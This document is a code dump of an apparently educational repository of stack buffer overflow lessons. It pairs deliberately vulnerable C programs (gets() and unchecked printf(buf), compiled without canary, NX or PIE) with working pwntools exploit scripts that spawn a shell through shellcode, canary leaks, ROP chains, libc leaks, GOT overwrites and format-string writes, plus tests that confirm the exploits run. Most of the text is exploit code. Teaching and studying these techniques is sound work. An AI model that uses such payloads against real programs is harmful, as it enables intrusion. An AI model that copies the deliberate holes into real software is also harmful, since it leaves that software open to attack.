├── .gitignore ├── .lib ├── ld-linux-x86-64.so.2 └── libc.so.6 ├── .test ├── aslr_test.py └── noaslr_test.py ├── .util ├── exploit_template.py └── fsb_dump_stack.py ├── 0_ret2win ├── README.md ├── exploit.py ├── ret2win └── ret2win.c ├── 1_shellcode ├── README.md ├── exploit.py ├── shellcode └── shellcode.c ├── 2_bypass_canary ├── README.md ├── bypass_canary ├── bypass_canary.c └── exploit.py ├── 3_rop_chain ├── README.md ├── exploit.py ├── rop_chain └── rop_chain.c ├── 4_libc_leak ├── README.md ├── exploit.py ├── libc_leak └── libc_leak.c ├── 5_got_overwrite ├── README.md ├── exploit.py ├── got_overwrite └── got_overwrite.c ├── 6_fsb_rop ├── README.md ├── exploit.py ├── fsb_rop └── fsb_rop.c ├── Dockerfile ├── Makefile ├── README.md └── Stack_Buffer_Overflow_Exploit.pdf /.gitignore: -------------------------------------------------------------------------------- 1 | .gdb_history 2 | core 3 | outline.md 4 | *.key -------------------------------------------------------------------------------- /.lib/ld-linux-x86-64.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/.lib/ld-linux-x86-64.so.2 -------------------------------------------------------------------------------- /.lib/libc.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/.lib/libc.so.6 -------------------------------------------------------------------------------- /.test/aslr_test.py: -------------------------------------------------------------------------------- 1 | import time 2 | from unittest import TestCase 3 | 4 | import pwn 5 | 6 | 7 | def exploitable(exploit): 8 | pwn.context.aslr = True # ASLR enabled 9 | 10 | elf = pwn.context.binary = pwn.ELF(exploit.elf_path) 11 | libc = pwn.ELF(exploit.libc_path) 12 | io = pwn.process(elf.path, cwd=exploit.script_dir) 13 | 14 | exploit.exploit(io, elf=elf, libc=libc) 15 | time.sleep(0.2) 16 | 17 | io.sendlines(["echo 'p'w'n'e'd'", "exit"]) 18 | result = b"pwned" in io.recvuntil("pwned", timeout=1) 19 | 20 | return result 21 | 22 | 23 | # When ASLR is enabled, some tests will fail probabilistically. 24 | # It's not pretty, but if it succeeds within 10 times, the tests shall pass. 25 | class TestExploitsAslr(TestCase): 26 | def test_ret2win(self): 27 | exploit = __import__("0_ret2win.exploit").exploit 28 | self.assertTrue(exploitable(exploit)) 29 | 30 | def test_shellcode(self): 31 | exploit = __import__("1_shellcode.exploit").exploit 32 | with self.assertRaises(EOFError): 33 | exploitable(exploit) 34 | 35 | def test_bypass_canary(self): 36 | exploit = __import__("2_bypass_canary.exploit").exploit 37 | with self.assertRaises(EOFError): 38 | exploitable(exploit) 39 | 40 | def test_rop_chain(self): 41 | exploit = __import__("3_rop_chain.exploit").exploit 42 | with self.assertRaises(EOFError): 43 | exploitable(exploit) 44 | 45 | def test_libc_leak(self): 46 | exploit = __import__("4_libc_leak.exploit").exploit 47 | for i in range(10): 48 | try: 49 | self.assertTrue(exploitable(exploit)) 50 | break 51 | except Exception: 52 | pass 53 | else: 54 | raise 55 | 56 | def test_got_overwrite(self): 57 | exploit = __import__("5_got_overwrite.exploit").exploit 58 | for i in range(10): 59 | try: 60 | self.assertTrue(exploitable(exploit)) 61 | break 62 | except Exception: 63 | pass 64 | else: 65 | raise 66 | 67 | def test_fsb_rop(self): 68 | exploit = __import__("6_fsb_rop.exploit").exploit 69 | for i in range(10): 70 | try: 71 | self.assertTrue(exploitable(exploit)) 72 | break 73 | except Exception: 74 | pass 75 | else: 76 | raise 77 | -------------------------------------------------------------------------------- /.test/noaslr_test.py: -------------------------------------------------------------------------------- 1 | import time 2 | from unittest import TestCase 3 | 4 | import pwn 5 | 6 | 7 | def exploitable(exploit): 8 | pwn.context.aslr = False # ASLR disabled 9 | 10 | elf = pwn.context.binary = pwn.ELF(exploit.elf_path) 11 | libc = pwn.ELF(exploit.libc_path) 12 | io = pwn.process(elf.path, cwd=exploit.script_dir) 13 | 14 | exploit.exploit(io, elf=elf, libc=libc) 15 | time.sleep(0.2) 16 | 17 | io.sendlines(["echo 'p'w'n'e'd'", "exit"]) 18 | result = b"pwned" in io.recvuntil("pwned", timeout=1) 19 | 20 | return result 21 | 22 | 23 | class TestExploitsNoAslr(TestCase): 24 | def test_ret2win(self): 25 | exploit = __import__("0_ret2win.exploit").exploit 26 | self.assertTrue(exploitable(exploit)) 27 | 28 | def test_shellcode(self): 29 | exploit = __import__("1_shellcode.exploit").exploit 30 | self.assertTrue(exploitable(exploit)) 31 | 32 | def test_bypass_canary(self): 33 | exploit = __import__("2_bypass_canary.exploit").exploit 34 | self.assertTrue(exploitable(exploit)) 35 | 36 | def test_rop_chain(self): 37 | exploit = __import__("3_rop_chain.exploit").exploit 38 | self.assertTrue(exploitable(exploit)) 39 | 40 | def test_libc_leak(self): 41 | exploit = __import__("4_libc_leak.exploit").exploit 42 | self.assertTrue(exploitable(exploit)) 43 | 44 | def test_got_overwrite(self): 45 | exploit = __import__("5_got_overwrite.exploit").exploit 46 | self.assertTrue(exploitable(exploit)) 47 | 48 | def test_fsb_rop(self): 49 | exploit = __import__("6_fsb_rop.exploit").exploit 50 | self.assertTrue(exploitable(exploit)) 51 | -------------------------------------------------------------------------------- /.util/exploit_template.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import pwn 4 | 5 | script_dir = os.path.dirname(os.path.realpath(__file__)) 6 | elf_path = os.path.join(script_dir, "** FIXME **") 7 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 8 | 9 | 10 | def exploit(io, elf, libc): 11 | pass 12 | 13 | 14 | def main(): 15 | elf = pwn.context.binary = pwn.ELF(elf_path) 16 | libc = pwn.ELF(libc_path) 17 | if pwn.args.GDB: 18 | io = pwn.gdb.debug(elf.path) 19 | else: 20 | io = pwn.process(elf.path) 21 | 22 | exploit(io, elf, libc) 23 | io.interactive() 24 | 25 | 26 | if __name__ == "__main__": 27 | main() 28 | -------------------------------------------------------------------------------- /.util/fsb_dump_stack.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | import pwn 4 | 5 | 6 | def main(): 7 | if len(sys.argv) != 2: 8 | print(f"usage: {sys.argv[0]} elf_path") 9 | sys.exit(1) 10 | elf_path = sys.argv[1] 11 | 12 | elf = pwn.context.binary = pwn.ELF(elf_path) 13 | pwn.context.aslr = False 14 | 15 | stack = [] 16 | for i in range(1, 50): 17 | io = pwn.process(elf.path) 18 | io.sendline(f"AAAAAAAA:%{i}$lx:") 19 | io.recvuntil(":") 20 | stack.append((i, io.recvuntil(":")[:-1])) 21 | io.close() 22 | 23 | for i, value in stack: 24 | print(f"%{i}$lx -> {value}") 25 | 26 | 27 | if __name__ == "__main__": 28 | main() 29 | -------------------------------------------------------------------------------- /0_ret2win/README.md: -------------------------------------------------------------------------------- 1 | # ret2win 2 | 3 | Can you call `win()`? 4 | 5 | ``` 6 | # checksec ret2win 7 | [*] '/stack-bof/0_ret2win/ret2win' 8 | Arch: amd64-64-little 9 | RELRO: Partial RELRO 10 | Stack: No canary found 11 | NX: NX disabled 12 | PIE: No PIE (0x3ff000) 13 | RWX: Has RWX segments 14 | RUNPATH: b'../.lib/' 15 | ``` 16 | 17 | ``` 18 | python3 exploit.py NOASLR 19 | ``` 20 | -------------------------------------------------------------------------------- /0_ret2win/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import pwn 4 | 5 | script_dir = os.path.dirname(os.path.realpath(__file__)) 6 | elf_path = os.path.join(script_dir, "./ret2win") 7 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 8 | 9 | 10 | def exploit(io, elf, libc): 11 | return_address_ofs = 40 12 | 13 | payload = b"A" * return_address_ofs 14 | payload += pwn.p64(elf.sym.win) 15 | 16 | io.sendline(payload) 17 | print(io.recvline()) 18 | 19 | 20 | def main(): 21 | elf = pwn.context.binary = pwn.ELF(elf_path) 22 | if pwn.args.GDB: 23 | io = pwn.gdb.debug(elf.path) 24 | else: 25 | io = pwn.process(elf.path) 26 | 27 | exploit(io, elf, None) 28 | io.interactive() 29 | 30 | 31 | if __name__ == "__main__": 32 | main() 33 | -------------------------------------------------------------------------------- /0_ret2win/ret2win: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/0_ret2win/ret2win -------------------------------------------------------------------------------- /0_ret2win/ret2win.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[32]; 6 | gets(buf); 7 | } 8 | 9 | void win() 10 | { 11 | puts("You Win!\n"); 12 | execve("/bin/sh", NULL, NULL); 13 | } 14 | 15 | int main(void) 16 | { 17 | vuln(); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /1_shellcode/README.md: -------------------------------------------------------------------------------- 1 | # shellcode 2 | 3 | `win()` no longer exists. 4 | 5 | ``` 6 | # checksec shellcode 7 | [*] '/stack-bof/1_shellcode/shellcode' 8 | Arch: amd64-64-little 9 | RELRO: Partial RELRO 10 | Stack: No canary found 11 | NX: NX disabled 12 | PIE: No PIE (0x3ff000) 13 | RWX: Has RWX segments 14 | RUNPATH: b'../.lib/' 15 | ``` 16 | 17 | ``` 18 | python3 exploit.py NOASLR 19 | ``` 20 | -------------------------------------------------------------------------------- /1_shellcode/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import pwn 4 | 5 | script_dir = os.path.dirname(os.path.realpath(__file__)) 6 | elf_path = os.path.join(script_dir, "./shellcode") 7 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 8 | 9 | 10 | def exploit(io, elf, libc): 11 | return_address_ofs = 40 12 | shellcode = pwn.asm(pwn.shellcraft.sh()) 13 | stack_address = 0x7FFFFFFFE5C0 14 | 15 | payload = b"A" * return_address_ofs 16 | payload += pwn.p64(stack_address) 17 | payload += b"\x90" * 256 # nop sled 18 | payload += shellcode 19 | 20 | io.sendline(payload) 21 | 22 | 23 | def main(): 24 | elf = pwn.context.binary = pwn.ELF(elf_path) 25 | if pwn.args.GDB: 26 | io = pwn.gdb.debug(elf.path) 27 | else: 28 | io = pwn.process(elf.path) 29 | 30 | exploit(io, None, None) 31 | io.interactive() 32 | 33 | 34 | if __name__ == "__main__": 35 | main() 36 | -------------------------------------------------------------------------------- /1_shellcode/shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/1_shellcode/shellcode -------------------------------------------------------------------------------- /1_shellcode/shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[32]; 6 | gets(buf); 7 | } 8 | 9 | int main(void) 10 | { 11 | vuln(); 12 | return 0; 13 | } 14 | -------------------------------------------------------------------------------- /2_bypass_canary/README.md: -------------------------------------------------------------------------------- 1 | # bypass canary 2 | 3 | Stack canary has been enabled. 4 | 5 | ``` 6 | # checksec bypass_canary 7 | [*] '/stack-bof/2_bypass_canary/bypass_canary' 8 | Arch: amd64-64-little 9 | RELRO: Partial RELRO 10 | -> Stack: Canary found 11 | NX: NX disabled 12 | PIE: No PIE (0x3ff000) 13 | RWX: Has RWX segments 14 | RUNPATH: b'../.lib/' 15 | ``` 16 | 17 | ``` 18 | python3 exploit.py NOASLR 19 | ``` 20 | -------------------------------------------------------------------------------- /2_bypass_canary/bypass_canary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/2_bypass_canary/bypass_canary -------------------------------------------------------------------------------- /2_bypass_canary/bypass_canary.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[32]; 6 | gets(buf); 7 | printf(buf); 8 | puts("\n"); 9 | gets(buf); 10 | } 11 | 12 | int main(void) 13 | { 14 | vuln(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /2_bypass_canary/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import pwn 4 | 5 | script_dir = os.path.dirname(os.path.realpath(__file__)) 6 | elf_path = os.path.join(script_dir, "./bypass_canary") 7 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 8 | 9 | 10 | def exploit(io, elf, libc): 11 | io.sendline(b"%11$lx") 12 | stack_canary = int(io.recvline(), 16) 13 | print(f"stack_canary: {hex(stack_canary)}") 14 | 15 | return_address_ofs = 56 16 | shellcode = pwn.asm(pwn.shellcraft.sh()) 17 | stack_address = 0x7FFFFFFFE5C0 18 | 19 | payload = b"A" * (return_address_ofs - 16) 20 | payload += pwn.p64(stack_canary) 21 | payload += pwn.p64(0xDEADBEEF) 22 | payload += pwn.p64(stack_address) 23 | payload += b"\x90" * 256 # nop sled 24 | payload += shellcode 25 | 26 | io.sendline(payload) 27 | 28 | 29 | def main(): 30 | elf = pwn.context.binary = pwn.ELF(elf_path) 31 | if pwn.args.GDB: 32 | io = pwn.gdb.debug(elf.path) 33 | else: 34 | io = pwn.process(elf.path) 35 | 36 | exploit(io, None, None) 37 | io.interactive() 38 | 39 | 40 | if __name__ == "__main__": 41 | main() 42 | -------------------------------------------------------------------------------- /3_rop_chain/README.md: -------------------------------------------------------------------------------- 1 | # rop chain 2 | 3 | NX has been enabled. 4 | 5 | ``` 6 | # checksec rop_chain 7 | [*] '/stack-bof/3_rop_chain/rop_chain' 8 | Arch: amd64-64-little 9 | RELRO: Partial RELRO 10 | Stack: Canary found 11 | -> NX: NX enabled 12 | PIE: No PIE (0x3ff000) 13 | RUNPATH: b'../.lib/' 14 | ``` 15 | 16 | ``` 17 | python3 exploit.py NOASLR 18 | ``` 19 | -------------------------------------------------------------------------------- /3_rop_chain/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import pwn 4 | 5 | script_dir = os.path.dirname(os.path.realpath(__file__)) 6 | elf_path = os.path.join(script_dir, "./rop_chain") 7 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 8 | 9 | 10 | def exploit(io, elf, libc): 11 | io.sendline(b"%11$lx") 12 | stack_canary = int(io.recvline(), 16) 13 | print(f"stack_canary: {hex(stack_canary)}") 14 | 15 | libc_base_addr = 0x15555535C000 16 | 17 | data = libc_base_addr + 0x1BE1A0 18 | pop_rdx = libc_base_addr + 0xCB1CD 19 | pop_rax = libc_base_addr + 0x3EE88 20 | pop_rdi = libc_base_addr + 0x26796 21 | pop_rsi = libc_base_addr + 0x2890F 22 | mov_rdx_ptr_rax = libc_base_addr + 0x34B5C 23 | xor_rax_rax = libc_base_addr + 0x9D9C5 24 | syscall = libc_base_addr + 0x2552B 25 | 26 | return_address_ofs = 56 27 | 28 | payload = b"A" * (return_address_ofs - 16) 29 | payload += pwn.p64(stack_canary) 30 | payload += pwn.p64(0xDEADBEEF) 31 | 32 | payload += pwn.p64(pop_rdx) # pop rdx ; ret 33 | payload += pwn.p64(data) # @ .data 34 | payload += pwn.p64(pop_rax) # pop rax ; ret 35 | payload += b"/bin//sh" 36 | payload += pwn.p64(mov_rdx_ptr_rax) # mov qword ptr [rdx], rax ; ret 37 | payload += pwn.p64(pop_rdx) # pop rdx ; ret 38 | payload += pwn.p64(data + 8) # @ .data + 8 39 | payload += pwn.p64(xor_rax_rax) # xor rax, rax ; ret 40 | payload += pwn.p64(mov_rdx_ptr_rax) # mov qword ptr [rdx], rax ; ret 41 | payload += pwn.p64(pop_rdi) # pop rdi ; ret 42 | payload += pwn.p64(data) # @ .data 43 | payload += pwn.p64(pop_rsi) # pop rsi ; ret 44 | payload += pwn.p64(data + 8) # @ .data + 8 45 | payload += pwn.p64(pop_rax) # pop rax ; ret 46 | payload += pwn.p64(0x3B) 47 | payload += pwn.p64(syscall) # syscall 48 | 49 | io.sendline(payload) 50 | 51 | 52 | def main(): 53 | elf = pwn.context.binary = pwn.ELF(elf_path) 54 | if pwn.args.GDB: 55 | io = pwn.gdb.debug(elf.path) 56 | else: 57 | io = pwn.process(elf.path) 58 | 59 | exploit(io, None, None) 60 | io.interactive() 61 | 62 | 63 | if __name__ == "__main__": 64 | main() 65 | -------------------------------------------------------------------------------- /3_rop_chain/rop_chain: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/3_rop_chain/rop_chain -------------------------------------------------------------------------------- /3_rop_chain/rop_chain.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[32]; 6 | gets(buf); 7 | printf(buf); 8 | puts("\n"); 9 | gets(buf); 10 | } 11 | 12 | int main(void) 13 | { 14 | vuln(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /4_libc_leak/README.md: -------------------------------------------------------------------------------- 1 | # libc leak 2 | 3 | ASLR and PIE have been enabled. 4 | 5 | ``` 6 | # checksec libc_leak 7 | [*] '/stack-bof/4_libc_leak/libc_leak' 8 | Arch: amd64-64-little 9 | RELRO: Partial RELRO 10 | Stack: Canary found 11 | NX: NX enabled 12 | -> PIE: PIE enabled 13 | RUNPATH: b'../.lib/' 14 | ``` 15 | 16 | ``` 17 | python3 exploit.py 18 | ``` 19 | -------------------------------------------------------------------------------- /4_libc_leak/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | import pwn 4 | 5 | script_dir = os.path.dirname(os.path.realpath(__file__)) 6 | elf_path = os.path.join(script_dir, "./libc_leak") 7 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 8 | 9 | 10 | def exploit(io, elf, libc): 11 | io.sendline(b"%11$lx:%17$lx") 12 | stack_canary, __libc_start_main_234 = map( 13 | lambda x: int(x, 16), io.recvline().split(b":") 14 | ) 15 | print(f"stack_canary: {hex(stack_canary)}") 16 | print(f"__libc_start_main+234: {hex(__libc_start_main_234)}") 17 | 18 | __libc_start_main_ofs = 0x26C20 19 | libc_base_addr = __libc_start_main_234 - __libc_start_main_ofs - 234 20 | print(f"libc - base_addr: {hex(libc_base_addr)}") 21 | 22 | data = libc_base_addr + 0x1BE1A0 23 | pop_rdx = libc_base_addr + 0xCB1CD 24 | pop_rax = libc_base_addr + 0x3EE88 25 | pop_rdi = libc_base_addr + 0x26796 26 | pop_rsi = libc_base_addr + 0x2890F 27 | mov_rdx_ptr_rax = libc_base_addr + 0x34B5C 28 | xor_rax_rax = libc_base_addr + 0x9D9C5 29 | syscall = libc_base_addr + 0x2552B 30 | 31 | return_address_ofs = 56 32 | 33 | payload = b"A" * (return_address_ofs - 16) 34 | payload += pwn.p64(stack_canary) 35 | payload += pwn.p64(0xDEADBEEF) 36 | 37 | payload += pwn.p64(pop_rdx) # pop rdx ; ret 38 | payload += pwn.p64(data) # @ .data 39 | payload += pwn.p64(pop_rax) # pop rax ; ret 40 | payload += b"/bin//sh" 41 | payload += pwn.p64(mov_rdx_ptr_rax) # mov qword ptr [rdx], rax ; ret 42 | payload += pwn.p64(pop_rdx) # pop rdx ; ret 43 | payload += pwn.p64(data + 8) # @ .data + 8 44 | payload += pwn.p64(xor_rax_rax) # xor rax, rax ; ret 45 | payload += pwn.p64(mov_rdx_ptr_rax) # mov qword ptr [rdx], rax ; ret 46 | payload += pwn.p64(pop_rdi) # pop rdi ; ret 47 | payload += pwn.p64(data) # @ .data 48 | payload += pwn.p64(pop_rsi) # pop rsi ; ret 49 | payload += pwn.p64(data + 8) # @ .data + 8 50 | payload += pwn.p64(pop_rax) # pop rax ; ret 51 | payload += pwn.p64(0x3B) 52 | payload += pwn.p64(syscall) # syscall 53 | 54 | io.sendline(payload) 55 | 56 | 57 | def main(): 58 | elf = pwn.context.binary = pwn.ELF(elf_path) 59 | if pwn.args.GDB: 60 | io = pwn.gdb.debug(elf.path) 61 | else: 62 | io = pwn.process(elf.path) 63 | 64 | exploit(io, None, None) 65 | io.interactive() 66 | 67 | 68 | if __name__ == "__main__": 69 | main() 70 | -------------------------------------------------------------------------------- /4_libc_leak/libc_leak: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/4_libc_leak/libc_leak -------------------------------------------------------------------------------- /4_libc_leak/libc_leak.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[32]; 6 | gets(buf); 7 | printf(buf); 8 | puts("\n"); 9 | gets(buf); 10 | } 11 | 12 | int main(void) 13 | { 14 | vuln(); 15 | return 0; 16 | } 17 | -------------------------------------------------------------------------------- /5_got_overwrite/README.md: -------------------------------------------------------------------------------- 1 | # got overwrite 2 | 3 | Stack buffer overflow has been fixed. 4 | 5 | ``` 6 | # checksec got_overwrite 7 | [*] '/stack-bof/5_got_overwrite/got_overwrite' 8 | Arch: amd64-64-little 9 | RELRO: Partial RELRO 10 | Stack: Canary found 11 | NX: NX enabled 12 | PIE: PIE enabled 13 | RUNPATH: b'../.lib/' 14 | ``` 15 | 16 | ``` 17 | python3 exploit.py 18 | ``` 19 | -------------------------------------------------------------------------------- /5_got_overwrite/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | import pwn 5 | 6 | script_dir = os.path.dirname(os.path.realpath(__file__)) 7 | elf_path = os.path.join(script_dir, "./got_overwrite") 8 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 9 | 10 | 11 | def write_with_fsb(io, addr, value): 12 | payload = pwn.fmtstr_payload(6, {addr: value}, write_size="short") 13 | print(f"%n FSB payload: {payload}") 14 | io.sendline(payload) 15 | time.sleep(0.2) 16 | 17 | 18 | def exploit(io, elf, libc): 19 | io.sendline(b"%17$lx:%21$lx") 20 | main_37, __libc_start_main_234 = map( 21 | lambda x: int(x, 16), io.recvline().split(b":") 22 | ) 23 | __libc_start_main_ofs = 0x26C20 24 | 25 | elf.address = main_37 - 37 - elf.sym.main 26 | libc.address = __libc_start_main_234 - __libc_start_main_ofs - 234 27 | print(f"elf - base_addr: {hex(elf.address)}") 28 | print(f"libc - base_addr: {hex(libc.address)}") 29 | 30 | write_with_fsb(io, addr=elf.got["printf"], value=libc.sym.system) 31 | 32 | io.sendline("/bin/sh") 33 | io.clean() 34 | 35 | 36 | def main(): 37 | elf = pwn.context.binary = pwn.ELF(elf_path) 38 | libc = pwn.ELF(libc_path) 39 | if pwn.args.GDB: 40 | io = pwn.gdb.debug(elf.path) 41 | else: 42 | io = pwn.process(elf.path) 43 | 44 | exploit(io, elf, libc) 45 | io.interactive() 46 | 47 | 48 | if __name__ == "__main__": 49 | main() 50 | -------------------------------------------------------------------------------- /5_got_overwrite/got_overwrite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/5_got_overwrite/got_overwrite -------------------------------------------------------------------------------- /5_got_overwrite/got_overwrite.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[64]; 6 | while (1) 7 | { 8 | fgets(buf, sizeof(buf), stdin); // no bof 9 | printf(buf); 10 | } 11 | } 12 | 13 | int main(void) 14 | { 15 | vuln(); 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /6_fsb_rop/README.md: -------------------------------------------------------------------------------- 1 | # fsb rop 2 | 3 | GOT is no longer writable. 4 | 5 | ``` 6 | # checksec fsb_rop 7 | [*] '/stack-bof/6_fsb_rop/fsb_rop' 8 | Arch: amd64-64-little 9 | -> RELRO: Full RELRO 10 | Stack: Canary found 11 | NX: NX enabled 12 | PIE: PIE enabled 13 | RUNPATH: b'../.lib/' 14 | ``` 15 | 16 | ``` 17 | python3 exploit.py 18 | ``` 19 | -------------------------------------------------------------------------------- /6_fsb_rop/exploit.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | 4 | import pwn 5 | 6 | script_dir = os.path.dirname(os.path.realpath(__file__)) 7 | elf_path = os.path.join(script_dir, "./fsb_rop") 8 | libc_path = os.path.join(script_dir, "./../.lib/libc.so.6") 9 | 10 | 11 | def write_with_fsb(io, addr, value): 12 | payload = pwn.fmtstr_payload(6, {addr: value}, write_size="short") 13 | print(f"%n FSB payload: {payload}") 14 | io.sendline(payload) 15 | time.sleep(0.2) 16 | 17 | 18 | def exploit(io, elf, libc): 19 | io.sendline(b"%4$lx:%17$lx:%21$lx") 20 | stack_addr, main_37, __libc_start_main_234 = map( 21 | lambda x: int(x, 16), io.recvline().split(b":") 22 | ) 23 | __libc_start_main_ofs = 0x26C20 24 | 25 | elf.address = main_37 - 37 - elf.sym.main 26 | libc.address = __libc_start_main_234 - __libc_start_main_ofs - 234 27 | print(f"elf - base_addr: {hex(elf.address)}") 28 | print(f"libc - base_addr: {hex(libc.address)}") 29 | 30 | pop_rdi = elf.address + 0x1273 31 | leave_ret = elf.sym.main + 62 32 | binsh = next(libc.search(b"/bin/sh\x00")) 33 | 34 | vuln_return_addr = stack_addr + 88 35 | printf_return_addr = stack_addr - 8 36 | print(f"stack - vuln_return_addr: {hex(vuln_return_addr)}") 37 | print(f"stack - printf_return_addr: {hex(printf_return_addr)}") 38 | 39 | write_with_fsb(io, addr=vuln_return_addr, value=pop_rdi) # pop rdi ; ret 40 | write_with_fsb(io, addr=vuln_return_addr + 0x8, value=binsh) 41 | write_with_fsb(io, addr=vuln_return_addr + 0x10, value=libc.sym.system) 42 | write_with_fsb(io, addr=printf_return_addr, value=leave_ret) # leave ; ret 43 | 44 | io.clean() 45 | 46 | 47 | def main(): 48 | elf = pwn.context.binary = pwn.ELF(elf_path) 49 | libc = pwn.ELF(libc_path) 50 | if pwn.args.GDB: 51 | io = pwn.gdb.debug(elf.path) 52 | else: 53 | io = pwn.process(elf.path) 54 | 55 | exploit(io, elf, libc) 56 | io.interactive() 57 | 58 | 59 | if __name__ == "__main__": 60 | main() 61 | -------------------------------------------------------------------------------- /6_fsb_rop/fsb_rop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ommadawn46/stack-bof/b216d66e10fbad6a0cb9dc40bb31f014d9ebeafc/6_fsb_rop/fsb_rop -------------------------------------------------------------------------------- /6_fsb_rop/fsb_rop.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | void vuln() 4 | { 5 | char buf[64]; 6 | while (1) 7 | { 8 | fgets(buf, sizeof(buf), stdin); // no bof 9 | printf(buf); 10 | } 11 | } 12 | 13 | int main(void) 14 | { 15 | vuln(); 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM phusion/baseimage:focal-1.0.0-amd64 2 | 3 | RUN apt-get update && \ 4 | DEBIAN_FRONTEND=noninteractive \ 5 | apt-get install -y \ 6 | vim \ 7 | tmux \ 8 | git \ 9 | gdb \ 10 | sudo \ 11 | strace \ 12 | ltrace \ 13 | python3 \ 14 | python3-pip \ 15 | python3-dev \ 16 | ruby \ 17 | ruby-dev \ 18 | libssl-dev \ 19 | libffi-dev \ 20 | build-essential \ 21 | patchelf 22 | 23 | RUN python3 -m pip install --upgrade pip && \ 24 | python3 -m pip install --no-cache-dir \ 25 | pwntools \ 26 | ropgadget 27 | 28 | RUN gem install one_gadget 29 | 30 | RUN cd /root/ && \ 31 | git clone --depth 1 https://github.com/pwndbg/pwndbg && \ 32 | cd ./pwndbg && \ 33 | ./setup.sh 34 | 35 | CMD ["/sbin/my_init"] 36 | RUN apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* 37 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ./0_ret2win/ret2win: ./0_ret2win/ret2win.c 2 | # no canary, nx disabled, no pie, partial relro 3 | gcc -no-pie -fno-stack-protector -z execstack -Wl,-z,relro,-z,lazy ./0_ret2win/ret2win.c -o ./0_ret2win/ret2win 4 | patchelf --set-rpath ../.lib/ --set-interpreter ../.lib/ld-linux-x86-64.so.2 ./0_ret2win/ret2win 5 | 6 | ./1_shellcode/shellcode: ./1_shellcode/shellcode.c 7 | # no canary, nx disabled, no pie, partial relro 8 | gcc -no-pie -fno-stack-protector -z execstack -Wl,-z,relro,-z,lazy ./1_shellcode/shellcode.c -o ./1_shellcode/shellcode 9 | patchelf --set-rpath ../.lib/ --set-interpreter ../.lib/ld-linux-x86-64.so.2 ./1_shellcode/shellcode 10 | 11 | ./2_bypass_canary/bypass_canary: ./2_bypass_canary/bypass_canary.c 12 | # nx disabled, no pie, partial relro 13 | gcc -no-pie -fstack-protector-all -z execstack -Wl,-z,relro,-z,lazy ./2_bypass_canary/bypass_canary.c -o ./2_bypass_canary/bypass_canary 14 | patchelf --set-rpath ../.lib/ --set-interpreter ../.lib/ld-linux-x86-64.so.2 ./2_bypass_canary/bypass_canary 15 | 16 | ./3_rop_chain/rop_chain: ./3_rop_chain/rop_chain.c 17 | # no pie, partial relro 18 | gcc -no-pie -fstack-protector-all -Wl,-z,relro,-z,lazy ./3_rop_chain/rop_chain.c -o ./3_rop_chain/rop_chain 19 | patchelf --set-rpath ../.lib/ --set-interpreter ../.lib/ld-linux-x86-64.so.2 ./3_rop_chain/rop_chain 20 | 21 | ./4_libc_leak/libc_leak: ./4_libc_leak/libc_leak.c 22 | # partial relro 23 | gcc -fstack-protector-all -Wl,-z,relro,-z,lazy ./4_libc_leak/libc_leak.c -o ./4_libc_leak/libc_leak 24 | patchelf --set-rpath ../.lib/ --set-interpreter ../.lib/ld-linux-x86-64.so.2 ./4_libc_leak/libc_leak 25 | 26 | ./5_got_overwrite/got_overwrite: ./5_got_overwrite/got_overwrite.c 27 | # partial relro 28 | gcc -fstack-protector-all -Wl,-z,relro,-z,lazy ./5_got_overwrite/got_overwrite.c -o 